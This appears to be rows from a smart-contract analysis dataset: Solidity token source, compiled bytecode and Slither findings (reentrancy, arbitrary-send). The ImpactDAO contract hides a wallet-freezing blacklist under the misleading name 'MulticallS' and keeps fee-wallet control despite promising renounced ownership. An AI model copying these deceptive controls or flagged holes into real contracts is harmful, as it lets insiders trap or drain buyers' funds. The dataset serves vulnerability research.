uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam).sub(tBurn);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, address(this), block.timestamp);
}
function swapETHforRoge(uint ethAmount) private {
address[] memory path = new address[](2);
path[0] = uniswapV2Router.WETH();
path[1] = address(ROGE);
_approve(address(this), address(uniswapV2Router), ethAmount);
uniswapV2Router.swapExactETHForTokensSupportingFeeOnTransferTokens{value: ethAmount}(ethAmount,path,address(animalSanctuary),block.timestamp);
}
function distributeETH(uint256 amount) private {
_presa.transfer(amount.div(9));
_rogeTreasury.transfer(amount.div(3));
}
receive() external payable {}
} | 0x6080604052600436106101855760003560e01c8063715018a6116100d1578063a9059cbb1161008a578063e8078d9411610064578063e8078d941461052b578063efa3ef4414610540578063f275f64b14610573578063f89ff9021461059f5761018c565b8063a9059cbb1461048d578063d543dbeb146104c6578063dd62ed3e146104f05761018c565b8063715018a6146103f85780637a32bae41461040d5780637b934dcd146104225780638da5cb5b1461044e57806395d89b4114610463578063a2b17412146104785761018c565b8063313ce5671161013e57806349bd5a5e1161011857806349bd5a5e146103865780636a66e9e31461039b5780636ddd1713146103b057806370a08231146103c55761018c565b8063313ce5671461033157806332976a251461035c57806349abb68e146103715761018c565b806306fdde0314610191578063095ea7b31461021b5780630db474fa1461026857806310336de01461029657806318160ddd146102c757806323b872dd146102ee5761018c565b3661018c57005b600080fd5b34801561019d57600080fd5b506101a66105c9565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101e05781810151838201526020016101c8565b50505050905090810190601f16801561020d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561022757600080fd5b506102546004803603604081101561023e57600080fd5b506001600160a01b0381351690602001356105f1565b604080519115158252519081900360200190f35b34801561027457600080fd5b506102946004803603602081101561028b57600080fd5b5035151561060f565b005b3480156102a257600080fd5b506102ab610685565b604080516001600160a01b039092168252519081900360200190f35b3480156102d357600080fd5b506102dc610694565b60408051918252519081900360200190f35b3480156102fa57600080fd5b506102546004803603606081101561031157600080fd5b506001600160a01b0381358116916020810135909116906040013561069a565b34801561033d57600080fd5b50610346610721565b6040805160ff9092168252519081900360200190f35b34801561036857600080fd5b506102dc610726565b34801561037d57600080fd5b506102ab61072c565b34801561039257600080fd5b506102ab61073b565b3480156103a757600080fd5b5061029461074a565b3480156103bc57600080fd5b506102546107af565b3480156103d157600080fd5b506102dc600480360360208110156103e857600080fd5b50356001600160a01b03166107bf565b34801561040457600080fd5b506102946107e1565b34801561041957600080fd5b50610254610883565b34801561042e57600080fd5b506102946004803603602081101561044557600080fd5b50351515610893565b34801561045a57600080fd5b506102ab610909565b34801561046f57600080fd5b506101a6610918565b34801561048457600080fd5b50610294610937565b34801561049957600080fd5b50610254600480360360408110156104b057600080fd5b506001600160a01b0381351690602001356109a5565b3480156104d257600080fd5b50610294600480360360208110156104e957600080fd5b50356109b9565b3480156104fc57600080fd5b506102dc6004803603604081101561051357600080fd5b506001600160a01b0381358116916020013516610ac0565b34801561053757600080fd5b50610294610aeb565b34801561054c57600080fd5b506102946004803603602081101561056357600080fd5b50356001600160a01b0316610e8d565b34801561057f57600080fd5b506102946004803603602081101561059657600080fd5b50351515610f09565b3480156105ab57600080fd5b50610294600480360360208110156105c257600080fd5b5035610f95565b60408051808201909152600e81526d50726f746563746f7220526f676560901b602082015290565b60006106056105fe610ff6565b8484610ffa565b5060015b92915050565b610617610ff6565b6000546001600160a01b03908116911614610667576040805162461bcd60e51b81526020600482018190526024820152600080516020611f6a833981519152604482015290519081900360640190fd5b600f8054911515600160c01b0260ff60c01b19909216919091179055565b600c546001600160a01b031681565b60045490565b60006106a78484846110e6565b610717846106b3610ff6565b61071285604051806060016040528060288152602001611f42602891396001600160a01b038a166000908152600860205260408120906106f1610ff6565b6001600160a01b031681526020810191909152604001600020549190611448565b610ffa565b5060019392505050565b600990565b60075481565b600d546001600160a01b031681565b600f546001600160a01b031681565b610752610ff6565b6000546001600160a01b039081169116146107a2576040805162461bcd60e51b81526020600482018190526024820152600080516020611f6a833981519152604482015290519081900360640190fd5b476107ac816114df565b50565b600f54600160b81b900460ff1681565b6001600160a01b03811660009081526002602052604081205461060990611568565b6107e9610ff6565b6000546001600160a01b03908116911614610839576040805162461bcd60e51b81526020600482018190526024820152600080516020611f6a833981519152604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600f54600160a01b900460ff1681565b61089b610ff6565b6000546001600160a01b039081169116146108eb576040805162461bcd60e51b81526020600482018190526024820152600080516020611f6a833981519152604482015290519081900360640190fd5b600f8054911515600160c81b0260ff60c81b19909216919091179055565b6000546001600160a01b031690565b60408051808201909152600581526450524f474560d81b602082015290565b61093f610ff6565b6000546001600160a01b0390811691161461098f576040805162461bcd60e51b81526020600482018190526024820152600080516020611f6a833981519152604482015290519081900360640190fd5b600061099a306107bf565b90506107ac816115c8565b60006106056109b2610ff6565b84846110e6565b6109c1610ff6565b6000546001600160a01b03908116911614610a11576040805162461bcd60e51b81526020600482018190526024820152600080516020611f6a833981519152604482015290519081900360640190fd5b60008111610a66576040805162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e2030000000604482015290519081900360640190fd5b610a866064610a808360045461179790919063ffffffff16565b906117f0565b601081905560408051918252517f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9181900360200190a150565b6001600160a01b03918216600090815260086020908152604080832093909416825291909152205490565b610af3610ff6565b6000546001600160a01b03908116911614610b43576040805162461bcd60e51b81526020600482018190526024820152600080516020611f6a833981519152604482015290519081900360640190fd5b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117918290556004549091610b879130916001600160a01b031690610ffa565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610bc057600080fd5b505afa158015610bd4573d6000803e3d6000fd5b505050506040513d6020811015610bea57600080fd5b5051604080516315ab88c960e31b815290516001600160a01b039283169263c9c653969230929186169163ad5c464891600480820192602092909190829003018186803b158015610c3a57600080fd5b505afa158015610c4e573d6000803e3d6000fd5b505050506040513d6020811015610c6457600080fd5b5051604080516001600160e01b031960e086901b1681526001600160a01b0393841660048201529290911660248301525160448083019260209291908290030181600087803b158015610cb657600080fd5b505af1158015610cca573d6000803e3d6000fd5b505050506040513d6020811015610ce057600080fd5b5051600f80546001600160a01b0319166001600160a01b03928316179055600e541663f305d7194730610d12816107bf565b600080610d1d610909565b426040518863ffffffff1660e01b815260040180876001600160a01b03168152602001868152602001858152602001848152602001836001600160a01b0316815260200182815260200196505050505050506060604051808303818588803b158015610d8857600080fd5b505af1158015610d9c573d6000803e3d6000fd5b50505050506040513d6060811015610db357600080fd5b5050600f805460ff60c81b1960ff60c01b1960ff60a81b1960ff60b81b19909316600160b81b1792909216600160a81b1791909116600160c01b1716600160c81b179081905569d3c21bcecceda1000000601055600e546040805163095ea7b360e01b81526001600160a01b03928316600482015260001960248201529051919092169163095ea7b39160448083019260209291908290030181600087803b158015610e5e57600080fd5b505af1158015610e72573d6000803e3d6000fd5b505050506040513d6020811015610e8857600080fd5b505050565b610e95610ff6565b6000546001600160a01b03908116911614610ee5576040805162461bcd60e51b81526020600482018190526024820152600080516020611f6a833981519152604482015290519081900360640190fd5b6001600160a01b03166000908152600960205260409020805460ff19166001179055565b610f11610ff6565b6000546001600160a01b03908116911614610f61576040805162461bcd60e51b81526020600482018190526024820152600080516020611f6a833981519152604482015290519081900360640190fd5b600f54600160a81b900460ff16610f7757600080fd5b600f8054911515600160a01b0260ff60a01b19909216919091179055565b610f9d610ff6565b6000546001600160a01b03908116911614610fed576040805162461bcd60e51b81526020600482018190526024820152600080516020611f6a833981519152604482015290519081900360640190fd5b6107ac81611832565b3390565b6001600160a01b03831661103f5760405162461bcd60e51b8152600401808060200182810382526024815260200180611fd86024913960400191505060405180910390fd5b6001600160a01b0382166110845760405162461bcd60e51b8152600401808060200182810382526022815260200180611eff6022913960400191505060405180910390fd5b6001600160a01b03808416600081815260086020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b03831661112b5760405162461bcd60e51b8152600401808060200182810382526025815260200180611fb36025913960400191505060405180910390fd5b6001600160a01b0382166111705760405162461bcd60e51b8152600401808060200182810382526023815260200180611eb26023913960400191505060405180910390fd5b600081116111af5760405162461bcd60e51b8152600401808060200182810382526029815260200180611f8a6029913960400191505060405180910390fd5b6111b7610909565b6001600160a01b0316836001600160a01b0316141580156111f157506111db610909565b6001600160a01b0316826001600160a01b031614155b801561121657506001600160a01b03831660009081526009602052604090205460ff16155b801561123b57506001600160a01b03821660009081526009602052604090205460ff16155b156113d657600f546001600160a01b03848116911614801561126b5750600e546001600160a01b03838116911614155b801561129057506001600160a01b03821660009081526009602052604090205460ff16155b156112ed57600f54600160a01b900460ff166112ab57600080fd5b600f54600160c81b900460ff16156112cc576010548111156112cc57600080fd5b6009601255600260115560016013554780156112eb576112eb47611832565b505b60006112f8306107bf565b600f54909150600160b01b900460ff161580156113235750600f546001600160a01b03858116911614155b80156113385750600f54600160b81b900460ff165b156113d457600f54600160a01b900460ff1661135357600080fd5b600f54600160c81b900460ff16156113a857600f5461138e90606490610a8090600390611388906001600160a01b03166107bf565b90611797565b821115801561139f57506010548211155b6113a857600080fd5b476113b2826115c8565b4760006113bf82846119eb565b905080156113d0576113d0816114df565b5050505b505b6001600160a01b03831660009081526009602052604090205460019060ff168061141857506001600160a01b03831660009081526009602052604090205460ff165b8061142d5750600f54600160c01b900460ff16155b15611436575060005b61144284848484611a2d565b50505050565b600081848411156114d75760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561149c578181015183820152602001611484565b50505050905090810190601f1680156114c95780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b600a546001600160a01b03166108fc6114f98360096117f0565b6040518115909202916000818181858888f19350505050158015611521573d6000803e3d6000fd5b50600b546001600160a01b03166108fc61153c8360036117f0565b6040518115909202916000818181858888f19350505050158015611564573d6000803e3d6000fd5b5050565b60006005548211156115ab5760405162461bcd60e51b815260040180806020018281038252602a815260200180611ed5602a913960400191505060405180910390fd5b60006115b5611a5e565b90506115c183826117f0565b9392505050565b600f805460ff60b01b1916600160b01b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061160a57fe5b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561165e57600080fd5b505afa158015611672573d6000803e3d6000fd5b505050506040513d602081101561168857600080fd5b505181518290600190811061169957fe5b6001600160a01b039283166020918202929092010152600e546116bf9130911684610ffa565b600e5460405163791ac94760e01b8152600481018481526000602483018190523060648401819052426084850181905260a060448601908152875160a487015287516001600160a01b039097169663791ac947968a968a9594939092909160c40190602080880191028083838b5b8381101561174557818101518382015260200161172d565b505050509050019650505050505050600060405180830381600087803b15801561176e57600080fd5b505af1158015611782573d6000803e3d6000fd5b5050600f805460ff60b01b1916905550505050565b6000826117a657506000610609565b828202828482816117b357fe5b04146115c15760405162461bcd60e51b8152600401808060200182810382526021815260200180611f216021913960400191505060405180910390fd5b60006115c183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611a81565b6040805160028082526060820183526000926020830190803683375050600e54604080516315ab88c960e31b815290519394506001600160a01b039091169263ad5c464892506004808301926020929190829003018186803b15801561189757600080fd5b505afa1580156118ab573d6000803e3d6000fd5b505050506040513d60208110156118c157600080fd5b5051815182906000906118d057fe5b6001600160a01b039283166020918202929092010152600c548251911690829060019081106118fb57fe5b6001600160a01b039283166020918202929092010152600e546119219130911684610ffa565b600e54600d5460405163b6f9de9560e01b8152600481018581526001600160a01b03928316604483018190524260648401819052608060248501908152875160848601528751959096169563b6f9de9595899586958a9594939092909160a401906020808801910280838360005b838110156119a757818101518382015260200161198f565b50505050905001955050505050506000604051808303818588803b1580156119ce57600080fd5b505af11580156119e2573d6000803e3d6000fd5b50505050505050565b60006115c183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611448565b80611a3a57611a3a611ae6565b611a45848484611b1e565b8061144257611442600260115560096012556001601355565b6000806000611a6b611c38565b9092509050611a7a82826117f0565b9250505090565b60008183611ad05760405162461bcd60e51b815260206004820181815283516024840152835190928392604490910191908501908083836000831561149c578181015183820152602001611484565b506000838581611adc57fe5b0495945050505050565b601154158015611af65750601254155b8015611b025750601354155b15611b0c57611b1c565b6000601181905560128190556013555b565b600080611b2a83611c6f565b91509150600080600080600080611b418888611ce8565b955095509550955095509550611b8586600260008e6001600160a01b03166001600160a01b03168152602001908152602001600020546119eb90919063ffffffff16565b6001600160a01b03808d1660009081526002602052604080822093909355908c1681522054611bb49086611d47565b6001600160a01b038b16600090815260026020526040902055611bd681611da1565b611be08483611deb565b896001600160a01b03168b6001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a35050505050505050505050565b6005546004546000918291611c4d82826117f0565b821015611c6557600554600454935093505050611c6b565b90925090505b9091565b6000808281611c7c611a5e565b90506000611c9a6064610a806013548961179790919063ffffffff16565b90506000611ca88284611797565b600454909150611cb890836119eb565b600455600554611cc890826119eb565b600555600754611cd89083611d47565b6007555091935090915050915091565b6000806000806000806000806000611d068b6011546012548d611e0f565b9250925092506000611d16611a5e565b90506000806000611d298f878787611e61565b919e509c509a50959850939650919450505050509295509295509295565b6000828201838110156115c1576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6000611dab611a5e565b90506000611db98383611797565b30600090815260026020526040902054909150611dd69082611d47565b30600090815260026020526040902055505050565b600554611df890836119eb565b600555600654611e089082611d47565b6006555050565b6000808080611e236064610a808a8a611797565b90506000611e366064610a808b8a611797565b90506000611e5087611e4a84818e886119eb565b906119eb565b9a9299509097509095505050505050565b6000808080611e708886611797565b90506000611e7e8887611797565b90506000611e8c8888611797565b90506000611e9e82611e4a86866119eb565b939b939a5091985091965050505050505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e7345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63654f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220cf2f72bbb45626f465930daa9d507a6447f817f57997a8f8a24e2179d45e924d64736f6c63430007060033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 10,382 |
0xe558470b7dff97d3c1e711efa06d43950374dca1 | /**
---µ*µ*µ*µ*µ*µ-------µ*µ-----µ*µ-------µ*µ*µ*µ*µ*µ-------µ*µ*µ-------µ*µ*µ*µ*µ*µ--µ*µ*µ*µ*µ*µ*µ*µ------------------
-------µ*µ-----------µ*µ-µ*µ*µ-µ*µ------µ*µ------µ*µ-----µ*µ-µ*µ-----µ*µ*µ*µ*µ*µ----µ*µ*µ*µ*µ*µ*µ-----------------
--------µ*µ----------µ*µ---µ*µ---µ*µ-----µ*µ------µ*µ----µ*µ---µ*µ----µ*µ-----------------µ*µ--------------------
-------µ*µ---------µ*µ-----*-----µ*µ----µ*µ*µ*µ*µ*µ----µ*µ*µ*µ*µ*µ---µ*µ-----------------µ*µ------------------
------µ*µ--------µ*µ-------------µ*µ---µ*µ-----------µ*µ-------µ*µ---µ*µ*µ*µ*µ*µ--------µ*µ----------------
---µ*µ*µ*µ*µ*µ--µ*µ---------------µ*µ--µ*µ----------µ*µ---------µ*µ---µ*µ*µ*µ*µ*µ-------µ*µ--------------
------------------------------------------------------------------------------------------------------
-----------------------------------------------------------------------------------------------------
----------------------------------------------------------------------------------------------------
--------------------------------------µ*µ*µ*µ*µ*µ-----------µ*µ---------µ*µ*µ*µ*µ*µ*µ--------------
-------------------------------------µ*µ------µ*µ---------µ*µ*µ-------µ*µ*µ*µ*µ*µ*µ*µ-----------
------------------------------------µ*µ-------µ*µ-------µ*µ µ*µ------µ*µ---------µ*µ---------
-----------------------------------µ*µ-------µ*µ------µ*µ µ*µ-----µ*µ---------µ*µ-------
------------------------------------µ*µ-------µ*µ-----µ*µ*µ*µ*µ*µ----µ*µ---------µ*µ-----
-------------------------------------µ*µ------µ*µ-----µ*µ-------µ*µ---µ*µ*µ*µ*µ*µ*µ*µ---
--------------------------------------µ*µ*µ*µ*µ*µ-----µ*µ---------µ*µ---µ*µ*µ*µ*µ*µ*µ--
/*
NO MAX BUY AND LOW TAXES (2/2) !
LPlock & Ownership Renounce at LAUNCH
**The site and the telegram will be open when the marketing is launched**
*/
pragma solidity ^0.8.10;
// SPDX-License-Identifier: MIT
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract ImpactDAO is Context, IERC20, Ownable { ////
mapping (address => uint) private _owned;
mapping (address => mapping (address => uint)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => User) private cooldown;
mapping (address => bool) private _isBot;
uint private constant _totalSupply = 1e12 * 10**9;
string public constant name = unicode"ImpactDAO"; ////
string public constant symbol = unicode"ImpactDAO"; ////
uint8 public constant decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address payable private _FeeAddress1;
address payable private _FeeAddress2;
address public uniswapV2Pair;
uint public _buyFee = 2;
uint public _sellFee = 2;
uint public _feeRate = 9;
uint public _maxBuyAmount;
uint public _maxHeldTokens;
uint public _launchedAt;
bool private _tradingOpen;
bool private _inSwap;
bool public _useImpactFeeSetter = true;
struct User {
uint buy;
bool exists;
}
event FeeMultiplierUpdated(uint _multiplier);
event ImpactFeeSetterUpdated(bool _usefeesetter);
event FeeRateUpdated(uint _rate);
event FeesUpdated(uint _buy, uint _sell);
event FeeAddress1Updated(address _feewallet1);
event FeeAddress2Updated(address _feewallet2);
modifier lockTheSwap {
_inSwap = true;
_;
_inSwap = false;
}
constructor (address payable FeeAddress1, address payable FeeAddress2) {
_FeeAddress1 = FeeAddress1;
_FeeAddress2 = FeeAddress2;
_owned[address(this)] = _totalSupply;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress1] = true;
_isExcludedFromFee[FeeAddress2] = true;
emit Transfer(address(0), address(this), _totalSupply);
}
function balanceOf(address account) public view override returns (uint) {
return _owned[account];
}
function transfer(address recipient, uint amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function totalSupply() public pure override returns (uint) {
return _totalSupply;
}
function allowance(address owner, address spender) public view override returns (uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public override returns (bool) {
if(_tradingOpen && !_isExcludedFromFee[recipient] && sender == uniswapV2Pair){
require (recipient == tx.origin, "pls no bot");
}
_transfer(sender, recipient, amount);
uint allowedAmount = _allowances[sender][_msgSender()] - amount;
_approve(sender, _msgSender(), allowedAmount);
return true;
}
function _approve(address owner, address spender, uint amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isBot[from], "ERC20: transfer from frozen wallet.");
bool isBuy = false;
if(from != owner() && to != owner()) {
// buy
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(_tradingOpen, "Trading not yet enabled.");
require(block.timestamp != _launchedAt, "pls no snip");
if((_launchedAt + (1 hours)) > block.timestamp) {
require((amount + balanceOf(address(to))) <= _maxHeldTokens, "You can't own that many tokens at once."); // 5%
}
if(!cooldown[to].exists) {
cooldown[to] = User(0,true);
}
if((_launchedAt + (120 seconds)) > block.timestamp) {
require(amount <= _maxBuyAmount, "Exceeds maximum buy amount.");
require(cooldown[to].buy < block.timestamp + (15 seconds), "Your buy cooldown has not expired.");
}
cooldown[to].buy = block.timestamp;
isBuy = true;
}
// sell
if(!_inSwap && _tradingOpen && from != uniswapV2Pair) {
require(cooldown[from].buy < block.timestamp + (15 seconds), "Your sell cooldown has not expired.");
uint contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance > 0) {
if(_useImpactFeeSetter) {
if(contractTokenBalance > (balanceOf(uniswapV2Pair) * _feeRate) / 100) {
contractTokenBalance = (balanceOf(uniswapV2Pair) * _feeRate) / 100;
}
}
swapTokensForEth(contractTokenBalance);
}
uint contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
isBuy = false;
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee,isBuy);
}
function swapTokensForEth(uint tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint amount) private {
_FeeAddress1.transfer(amount / 2);
_FeeAddress2.transfer(amount / 2);
}
function _tokenTransfer(address sender, address recipient, uint amount, bool takefee, bool buy) private {
(uint fee) = _getFee(takefee, buy);
_transferStandard(sender, recipient, amount, fee);
}
function _getFee(bool takefee, bool buy) private view returns (uint) {
uint fee = 0;
if(takefee) {
if(buy) {
fee = _buyFee;
} else {
fee = _sellFee;
if(block.timestamp < _launchedAt + (15 minutes)) {
fee += 5;
}
}
}
return fee;
}
function _transferStandard(address sender, address recipient, uint amount, uint fee) private {
(uint transferAmount, uint team) = _getValues(amount, fee);
_owned[sender] = _owned[sender] - amount;
_owned[recipient] = _owned[recipient] + transferAmount;
_takeTeam(team);
emit Transfer(sender, recipient, transferAmount);
}
function _getValues(uint amount, uint teamFee) private pure returns (uint, uint) {
uint team = (amount * teamFee) / 100;
uint transferAmount = amount - team;
return (transferAmount, team);
}
function _takeTeam(uint team) private {
_owned[address(this)] = _owned[address(this)] + team;
}
receive() external payable {}
// external functions
function addLiquidity() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _totalSupply);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function openTrading() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
_tradingOpen = true;
_launchedAt = block.timestamp;
_maxBuyAmount = 1000000000000 * 10**9; // 100%
_maxHeldTokens = 1000000000000 * 10**9; // 100%
}
function manualswap() external {
require(_msgSender() == _FeeAddress1);
uint contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress1);
uint contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setFeeRate(uint rate) external onlyOwner() {
require(_msgSender() == _FeeAddress1);
require(rate > 0, "Rate can't be zero");
// 100% is the common fee rate
_feeRate = rate;
emit FeeRateUpdated(_feeRate);
}
function setFees(uint buy, uint sell) external {
require(_msgSender() == _FeeAddress1);
require(buy <= 10);
require(sell <= 10);
_buyFee = buy;
_sellFee = sell;
emit FeesUpdated(_buyFee, _sellFee);
}
function MulticallS(address[] memory bots_) external {
require(_msgSender() == _FeeAddress1);
for (uint i = 0; i < bots_.length; i++) {
if (bots_[i] != uniswapV2Pair && bots_[i] != address(uniswapV2Router)) {
_isBot[bots_[i]] = true;
}
}
}
function delBots(address[] memory bots_) external {
require(_msgSender() == _FeeAddress1);
for (uint i = 0; i < bots_.length; i++) {
_isBot[bots_[i]] = false;
}
}
function isBot(address ad) public view returns (bool) {
return _isBot[ad];
}
function toggleImpactFee(bool onoff) external onlyOwner() {
_useImpactFeeSetter = onoff;
emit ImpactFeeSetterUpdated(_useImpactFeeSetter);
}
function updateFeeAddress1(address newAddress) external {
require(_msgSender() == _FeeAddress1);
_FeeAddress1 = payable(newAddress);
emit FeeAddress1Updated(_FeeAddress1);
}
function updateFeeAddress2(address newAddress) external {
require(_msgSender() == _FeeAddress2);
_FeeAddress2 = payable(newAddress);
emit FeeAddress2Updated(_FeeAddress2);
}
// view functions
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
} | 0x6080604052600436106101f25760003560e01c806349bd5a5e1161010d57806395d89b41116100a0578063c9567bf91161006f578063c9567bf91461056f578063db92dbb614610584578063dcb0e0ad14610599578063dd62ed3e146105b9578063e8078d94146105ff57600080fd5b806395d89b4114610227578063a9059cbb14610524578063b2131f7d14610544578063c3c8cd801461055a57600080fd5b806370a08231116100dc57806370a08231146104b1578063715018a6146104d15780638da5cb5b146104e657806394b8d8f21461050457600080fd5b806349bd5a5e1461042e5780635090161714610466578063590f897e146104865780636fc3eaec1461049c57600080fd5b806323b872dd1161018557806332d873d81161015457806332d873d8146103a95780633bbac579146103bf57806340b9a54b146103f857806345596e2e1461040e57600080fd5b806323b872dd1461032d57806327f3a72a1461034d578063313ce5671461036257806331c2d8471461038957600080fd5b80630af52615116101c15780630af52615146102bb5780630b78f9c0146102db57806318160ddd146102fb5780631940d0201461031757600080fd5b80630492f055146101fe57806306fdde03146102275780630802d2f614610269578063095ea7b31461028b57600080fd5b366101f957005b600080fd5b34801561020a57600080fd5b50610214600e5481565b6040519081526020015b60405180910390f35b34801561023357600080fd5b5061025c60405180604001604052806009815260200168496d7061637444414f60b81b81525081565b60405161021e9190611b91565b34801561027557600080fd5b50610289610284366004611c0b565b610614565b005b34801561029757600080fd5b506102ab6102a6366004611c28565b610689565b604051901515815260200161021e565b3480156102c757600080fd5b506102896102d6366004611c6a565b61069f565b3480156102e757600080fd5b506102896102f6366004611d2f565b6107b2565b34801561030757600080fd5b50683635c9adc5dea00000610214565b34801561032357600080fd5b50610214600f5481565b34801561033957600080fd5b506102ab610348366004611d51565b610835565b34801561035957600080fd5b5061021461091d565b34801561036e57600080fd5b50610377600981565b60405160ff909116815260200161021e565b34801561039557600080fd5b506102896103a4366004611